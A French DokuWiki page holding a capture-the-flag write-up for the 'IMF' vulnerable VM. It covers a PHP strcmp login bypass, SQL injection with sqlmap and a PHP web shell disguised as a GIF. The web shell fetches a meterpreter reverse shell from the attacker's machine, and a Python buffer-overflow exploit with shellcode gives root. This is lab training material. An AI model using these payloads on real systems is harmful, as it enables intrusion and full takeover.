Ci-dessous, les différences entre deux révisions de la page.
— |
vm:imf [2017/03/22 15:43] (Version actuelle) arkinar créée |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | **IMF - Write Up** | ||
+ | __Reconnaissance__ | ||
+ | |||
+ | <code BASH> | ||
+ | Nmap -sS -A 192.168.43.39 | ||
+ | |||
+ | Seul le port 80 est ouvert : | ||
+ | |||
+ | Apache/2.4.18 (Ubuntu) Server at 192.168.43.39 Port 80 | ||
+ | |||
+ | </code> | ||
+ | |||
+ | {{ :vm:capture.png?nolink |}} | ||
+ | |||
+ | __Exploitation web__ | ||
+ | |||
+ | Dans les sources de la page on remarque que le nom des fichiers js semblent suspect : | ||
+ | <file html index.html> | ||
+ | <script src="js/vendor/modernizr-2.6.2.min.js"></script> | ||
+ | <script src="js/vendor/jquery-1.10.2.min.js"></script> | ||
+ | <script src="js/bootstrap.min.js"></script> | ||
+ | <script src="js/ZmxhZzJ7YVcxbVl.js"></script> | ||
+ | <script src="js/XUnRhVzVwYzNS.js"></script> | ||
+ | <script src="js/eVlYUnZjZz09fQ==.min.js"></script> | ||
+ | <script> | ||
+ | </file> | ||
+ | |||
+ | Si on les décode en base64 on obtient : | ||
+ | <code bash> | ||
+ | echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' | base64 -d | ||
+ | |||
+ | flag2{aW1mYWRtaW5pc3RyYXRvcg==} | ||
+ | </code> | ||
+ | |||
+ | <code bash> | ||
+ | echo 'aW1mYWRtaW5pc3RyYXRvcg==' | base64 -d | ||
+ | imfadministrator | ||
+ | </code> | ||
+ | |||
+ | Effectivement un dossier imfadministrator existe bien et il nous demande une authentification. | ||
+ | |||
+ | Dans les sources , un commentaire exclu le fait de bypasser l'authentification avec une injection SQL. | ||
+ | |||
+ | <file html imfadministrator/index.php> | ||
+ | |||
+ | <form method="POST" action=""> | ||
+ | <label>Username:</label><input type="text" name="user" value=""><br /> | ||
+ | <label>Password:</label><input type="password" name="pass" value=""><br /> | ||
+ | <input type="submit" value="Login"> | ||
+ | <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --> | ||
+ | </form> | ||
+ | |||
+ | </file> | ||
+ | |||
+ | Nous partons à la pêche aux informations et sur la page contact on trouve : | ||
+ | |||
+ | {{ :vm:contact.png?nolink |}} | ||
+ | |||
+ | Nous avons donc potentiellement trois noms de compte : | ||
+ | - rmichaels | ||
+ | - akeith | ||
+ | - estone | ||
+ | |||
+ | Pour bypass l'authentification nous allons utilisons un faille de comparaison sur la fonction strcmp. | ||
+ | |||
+ | <code> | ||
+ | http://192.168.43.39/imfadministrator/ | ||
+ | post : | ||
+ | user=rmichaels&pass[]=abc | ||
+ | </code> | ||
+ | |||
+ | Notre authentification est bien bypassée. | ||
+ | |||
+ | On decode le flag : | ||
+ | <code bash> | ||
+ | echo 'Y29udGludWVUT2Ntcw==' | base64 -d | ||
+ | continueTOcms | ||
+ | </code> | ||
+ | |||
+ | {{ :vm:cms.png?nolink |}} | ||
+ | |||
+ | On test le paramètre pagename de l'url | ||
+ | |||
+ | <code> | ||
+ | http://192.168.43.39/imfadministrator/cms.php?pagename=disavowlist' | ||
+ | </code> | ||
+ | |||
+ | {{ :vm:cms_sqli.png?nolink |}} | ||
+ | |||
+ | Une injection sql est possible. | ||
+ | |||
+ | On exploite l'injection avec sqlmap : | ||
+ | |||
+ | <code bash> | ||
+ | ./sqlmap.py -u "http://192.168.43.39/imfadministrator/cms.php?pagename=disavowlist" --cookie="PHPSESSID=srpepu19dpq0ofmst2hl1b31n4" -D admin -T pages --columns | ||
+ | |||
+ | Database: admin | ||
+ | Table: pages | ||
+ | [3 columns] | ||
+ | +----------+--------------+ | ||
+ | | Column | Type | | ||
+ | +----------+--------------+ | ||
+ | | id | int(11) | | ||
+ | | pagedata | text | | ||
+ | | pagename | varchar(255) | | ||
+ | +----------+--------------+ | ||
+ | </code> | ||
+ | |||
+ | On récupère le contenu de la table pages : | ||
+ | |||
+ | <code bash> | ||
+ | ./sqlmap.py -u "http://192.168.43.39/imfadministrator/cms.php?pagename=disavowlist" --cookie="PHPSESSID=srpepu19dpq0ofmst2hl1b31n4" -D admin -T pages --dump | ||
+ | |||
+ | Database: admin | ||
+ | Table: pages | ||
+ | [4 entries] | ||
+ | +----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | ||
+ | | id | pagename | pagedata | | ||
+ | +----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | ||
+ | | 1 | upload | Under Construction. | | ||
+ | | 2 | home | Welcome to the IMF Administration. | | ||
+ | | 3 | tutorials-incomplete | Training classrooms available. <br /><img src="./images/whiteboard.jpg"><br /> Contact us for training. | | ||
+ | | 4 | disavowlist | <h1>Disavowed List</h1><img src="./images/redacted.jpg"><br /><ul><li>*********</li><li>****** ******</li><li>*******</li><li>**** ********</li></ul><br />-Secretary | | ||
+ | +----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | ||
+ | </code> | ||
+ | |||
+ | On va visiter la nouvelle page découverte : | ||
+ | |||
+ | <code> | ||
+ | http://192.168.43.39/imfadministrator/cms.php?pagename=tutorials-incomplete | ||
+ | </code> | ||
+ | |||
+ | |||
+ | {{ :vm:qr_code.png?nolink |}} | ||
+ | |||
+ | On décode le QRcode dans la photos avec le site [[https://zxing.org/w/decode]] | ||
+ | |||
+ | On obtient : | ||
+ | <code> | ||
+ | flag4{dXBsb2Fkcjk0Mi5waHA=} | ||
+ | </code> | ||
+ | On décode le base64 : | ||
+ | <code bash> | ||
+ | echo 'dXBsb2Fkcjk0Mi5waHA=' | base64 -d | ||
+ | uploadr942.php | ||
+ | </code> | ||
+ | On va sur la page : | ||
+ | <code> | ||
+ | http://192.168.43.39/imfadministrator/uploadr942.php | ||
+ | </code> | ||
+ | |||
+ | {{ :vm:upload.png?nolink |}} | ||
+ | |||
+ | L'upload n’accepte que les extensions en .gif | ||
+ | |||
+ | Pour uploader notre script php il faut le préparer. | ||
+ | |||
+ | On créé un fichier gif : | ||
+ | <code bash> | ||
+ | echo "FFD8FFE0" | xxd -r -p > shell_wu2.gif | ||
+ | </code> | ||
+ | |||
+ | On insère notre script php dedans : | ||
+ | <code bash> | ||
+ | echo '<?php $cmd=$_GET["cmd"]; echo `$cmd`; ?>' >> shell_wu2.gif | ||
+ | </code> | ||
+ | |||
+ | Une fois uploadé dans le code source de la page on remarque : | ||
+ | |||
+ | <file html uploadr942.php> | ||
+ | <body> | ||
+ | <h1>Intelligence Upload Form</h1> | ||
+ | File successfully uploaded. | ||
+ | <!-- 566e7e83b57e --><form id="Upload" action="" enctype="multipart/form-data" method="post"> | ||
+ | <p> | ||
+ | </file> | ||
+ | |||
+ | Notre fichier se situe sur le serveur à l'url suivante : | ||
+ | <code> | ||
+ | http://192.168.43.39/imfadministrator/uploads/566e7e83b57e.gif | ||
+ | </code> | ||
+ | |||
+ | On génère un reverse shell avec metasploit : | ||
+ | |||
+ | <code bash> | ||
+ | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.172 LPORT=8080 -f elf > shell2.elf | ||
+ | </code> | ||
+ | |||
+ | |||
+ | On démarre un serveur web python sur notre machine : | ||
+ | <code bash> | ||
+ | python -m SimpleHTTPServer 80 | ||
+ | </code> | ||
+ | |||
+ | Nous allons demander à notre backdoor de récupérer notre reverse shell et de lui mettre les pleins droits : | ||
+ | <code> | ||
+ | http://192.168.43.39/imfadministrator/uploads/566e7e83b57e.gif?cmd=wget 192.168.43.172/shell2.elf | ||
+ | http://192.168.43.39/imfadministrator/uploads/566e7e83b57e.gif?cmd=chmod 777 shell2.elf | ||
+ | </code> | ||
+ | |||
+ | Sur notre machine on ouvre un listener msf avec comme payload linux/x86/meterpreter/reverse_tcp | ||
+ | |||
+ | <code> | ||
+ | use exploit/multi/handler | ||
+ | set lhost 192.168.43.172 | ||
+ | set lport 8080 | ||
+ | set payload linux/x86/meterpreter/reverse_tcp | ||
+ | run | ||
+ | </code> | ||
+ | |||
+ | Nous exécutons notre reverse shell : | ||
+ | <code> | ||
+ | http://192.168.43.39/imfadministrator/uploads/566e7e83b57e.gif?cmd=./shell2.elf | ||
+ | </code> | ||
+ | |||
+ | On passe en mode shell : | ||
+ | <code> | ||
+ | meterpreter>shell | ||
+ | </code> | ||
+ | |||
+ | __Exploitation système & Élévation de privilège__ | ||
+ | |||
+ | On affiche le flag n°5 : | ||
+ | <code> | ||
+ | www-data@imf:/var/www/html/imfadministrator/uploads$ cat flag5_abc123def.txt | ||
+ | flag5{YWdlbnRzZXJ2aWNlcw==} | ||
+ | </code> | ||
+ | |||
+ | On le décode en base64 : | ||
+ | <code> | ||
+ | echo 'YWdlbnRzZXJ2aWNlcw==' | base64 -d | ||
+ | agentservices | ||
+ | </code> | ||
+ | |||
+ | Si on regarde les connexions de la machine : | ||
+ | <code bash> | ||
+ | netstat -plnt | ||
+ | |||
+ | Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name | ||
+ | tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - | ||
+ | tcp 0 0 0.0.0.0:7788 0.0.0.0:* LISTEN - | ||
+ | tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN 2167/nc | ||
+ | tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - | ||
+ | tcp6 0 0 :::80 :::* LISTEN - | ||
+ | tcp6 0 0 :::22 :::* LISTEN - | ||
+ | </code> | ||
+ | |||
+ | Le soft agent tourne sur le port 7788 accessible uniquement en local | ||
+ | |||
+ | Il se situe dans le dossier : /usr/local/bin | ||
+ | |||
+ | On récupère le fichier : | ||
+ | <code> | ||
+ | meterpreter> /user/local/bin/agent . | ||
+ | </code> | ||
+ | |||
+ | On le décompile sur [[https://retdec.com/decompilation/]] | ||
+ | |||
+ | <code c> | ||
+ | int main(int argc, char ** argv) { | ||
+ | setbuf((struct _IO_FILE *)g2, NULL); | ||
+ | int32_t str2; | ||
+ | asprintf((char **)&str2, "%i", 0x2ddd984); | ||
+ | puts(" ___ __ __ ___ "); | ||
+ | puts(" |_ _| \\/ | __| Agent"); | ||
+ | puts(" | || |\\/| | _| Reporting"); | ||
+ | puts(" |___|_| |_|_| System\n"); | ||
+ | printf("\nAgent ID : "); | ||
+ | int32_t str; | ||
+ | if (fgets((char *)&str, 9, g1) == NULL) { | ||
+ | // 0x8048746 | ||
+ | return -1; | ||
+ | } | ||
+ | // 0x80486ad | ||
+ | if (strncmp((char *)&str, (char *)str2, 8) != 0) { | ||
+ | // 0x80486c6 | ||
+ | puts("Invalid Agent ID "); | ||
+ | // branch -> 0x8048746 | ||
+ | // 0x8048746 | ||
+ | return -2; | ||
+ | } | ||
+ | |||
+ | </code> | ||
+ | |||
+ | 0x2ddd984 vaut 48093572 en int | ||
+ | |||
+ | Lorsque on lance l’exécutable, il nous demande un identifiant : | ||
+ | |||
+ | On lui donne l'id 48093572 | ||
+ | |||
+ | Cela fonctionne. Maintenant il va falloir trouver comme exploiter les différents options pour obtenir des privilèges root. | ||
+ | |||
+ | |||
+ | On le debug en local avec gdb. | ||
+ | |||
+ | Le but est de trouver un buffer overflow dessus. | ||
+ | |||
+ | <code bash> | ||
+ | gdb ./agent | ||
+ | </code> | ||
+ | |||
+ | Création d'un pattern avec gdb | ||
+ | <code bash> | ||
+ | gdb> pattern_create 300 | ||
+ | |||
+ | A%sA%nA%(A%)A%;A%0A%1A%2A%3A%4A%5A%6A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-7A-8A-9AasAanAa(Aa)Aa;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AbsAbnAb(Ab)Ab;Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9AcsAcnAc(Ac)Ac;Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9AdsAdnAd(Ad)Ad;Ad0Ad1Ad2Ad3Ad4 | ||
+ | |||
+ | gdb> r | ||
+ | |||
+ | </code> | ||
+ | |||
+ | On entre le code ci-dessus, on choisit l'option 3 et on colle le pattern. | ||
+ | |||
+ | On obtient un segfault. On va donc chercher où se situe le buffer overflow : | ||
+ | <code bash> | ||
+ | gdb-peda$ pattern_search Ab0Ab1 | ||
+ | Registers contain pattern buffer | ||
+ | EIP+0 found at offset: 168 | ||
+ | EBP+0 found at offset: 164 | ||
+ | </code> | ||
+ | |||
+ | EIP est réécrit à partir de 168 caractères. | ||
+ | |||
+ | On prend l'adresse de eax : | ||
+ | |||
+ | <code bash> | ||
+ | jmpcall eax | ||
+ | 0x8048563: call eax | ||
+ | </code> | ||
+ | |||
+ | On regarde si il y a des éventuels sécurités : | ||
+ | <code bash> | ||
+ | gdb-peda$ checksec | ||
+ | CANARY : disabled | ||
+ | FORTIFY : disabled | ||
+ | NX : disabled | ||
+ | PIE : disabled | ||
+ | RELRO : Partial | ||
+ | </code> | ||
+ | Il n'y a pas de protections. | ||
+ | |||
+ | Le logiciel "agent" tourne en local sur le port 7788, on mappe le port avec meterpreter : | ||
+ | |||
+ | <code bash> | ||
+ | meterpreter> portfwd add -l 7788 -p 7788 -r 127.0.0.1 | ||
+ | </code> | ||
+ | |||
+ | Si on fait "nc 127.0.0.1 7788" sur notre pc on tombe bien sur le logiciel. | ||
+ | |||
+ | |||
+ | On génère le payload contenu dans notre exploit : | ||
+ | |||
+ | <code bash> | ||
+ | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.172 LPORT=1234 -f python -b “\x00\x0a\x0d” | ||
+ | </code> | ||
+ | Les caractères en hexa à la fin (bad-char) empêche de mettre des null bytes et des retours à la ligne dans le payload. | ||
+ | |||
+ | On rédige notre exploit (cf exploit.py) (ajout des sockets de connexion et de l'adresse de eax) | ||
+ | |||
+ | <file python exploit.py> | ||
+ | import socket | ||
+ | imf = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
+ | imf.connect(("localhost", 7788)) | ||
+ | |||
+ | imf.recv(1024) | ||
+ | imf.send("48093572\n") | ||
+ | imf.recv(1024) | ||
+ | imf.send("3\n") | ||
+ | imf.recv(1024) | ||
+ | |||
+ | |||
+ | buf = "" | ||
+ | buf += "\xdb\xc1\xbf\x45\x74\x9d\x26\xd9\x74\x24\xf4\x5d\x31" | ||
+ | buf += "\xc9\xb1\x12\x83\xed\xfc\x31\x7d\x16\x03\x7d\x16\xe2" | ||
+ | buf += "\xb0\x45\x46\xd1\xd9\xf5\x3b\x4d\x77\xf8\x0b\x17\x0e" | ||
+ | buf += "\x1d\xa6\x58\x87\x85\x51\x99\x0f\x12\x0e\x71\x4d\x65" | ||
+ | buf += "\x4a\x50\xd8\x84\x38\x32\x82\x16\xec\xed\xbb\x76\x4d" | ||
+ | buf += "\xdf\x3b\xca\x55\x66\x3b\x3b\x5a\x98\xb2\xd8\x9b\x73" | ||
+ | buf += "\xc8\xdf\xff\x88\x60\xa2\x32\x10\xdb\xd4\x2c\x88\x6d" | ||
+ | buf += "\xea\x1e\xa8\x5c\x73\xa1\x4e" | ||
+ | |||
+ | buf+= "\x90"*(168-len(buf))+"\x63\x85\x04\x08\n" | ||
+ | |||
+ | #send exploit | ||
+ | imf.send(buf) | ||
+ | |||
+ | print "Payload Sent |+| Check Sessions." | ||
+ | </file> | ||
+ | |||
+ | On met le listener en place avec metasploit sur le port 1234 : | ||
+ | |||
+ | <code bash> | ||
+ | use exploit/multi/handler | ||
+ | set lhost 192.168.43.172 | ||
+ | set lport 1234 | ||
+ | set payload linux/x86/meterpreter/reverse_tcp | ||
+ | run | ||
+ | </code> | ||
+ | |||
+ | |||
+ | On exécute notre exploit: | ||
+ | <code bash> | ||
+ | python exploit.py | ||
+ | </code> | ||
+ | |||
+ | Nous obtenons une session meterpreter avec les droits root. | ||
+ | |||
+ | On affiche le dernier flag : | ||
+ | <code bash> | ||
+ | root@imf:/# cat /root/Flag.txt | ||
+ | flag6{R2gwc3RQcm90MGMwbHM=} | ||
+ | </code> | ||
+ | On décode le dernier flag : | ||
+ | <code bash> | ||
+ | echo 'R2gwc3RQcm90MGMwbHM=' | base64 -d | ||
+ | Gh0stProt0c0ls | ||
+ | </code> |